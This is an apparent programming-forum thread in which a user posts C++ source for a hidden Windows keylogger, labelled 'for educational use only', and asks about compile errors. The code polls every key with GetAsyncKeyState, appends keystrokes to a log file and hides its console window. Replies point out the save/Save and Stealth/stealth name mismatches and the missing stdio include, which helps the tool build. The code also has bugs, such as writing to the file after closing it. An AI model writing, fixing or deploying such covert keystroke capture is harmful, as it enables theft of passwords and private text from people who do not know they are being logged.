Not decleared in this scope

Hey all, i have this script for educational use only and there is a few issues i am having with not delceard in this scope:
#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>

int save (int key_stroke, char *file) ;
void Stealth ();

int main ()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save(i,"LOG.TEXT");
}
}
system ("PAUSE") ;
return 0;
}
/* *************************************** */
/* *************************************** */
int save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
cout << key_stroke << endl;


if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110 )
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
/* *************************************** */
/* *************************************** */
void stealth ()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth,0);
}



fopen
fprint
fclose are all having issues.eg. error 'fopen' was not decaled in this scope

also the word Save further up is also not decaled in this scope.. All help would be fantastic thanks
closed account (z05DSL3A)
Quick look:
1
2
3
int save (int key_stroke, char *file) ;
...
Save(i,"LOG.TEXT");


1
2
3
4
5
void Stealth ();
...
/* *************************************** */
void stealth ()
{


PS please use code tags: [code]Your code [/code]
Last edited on
Please include
#include <cstdio>
or
#include <stdio.h>

you need declaration buddy.
Topic archived. No new replies allowed.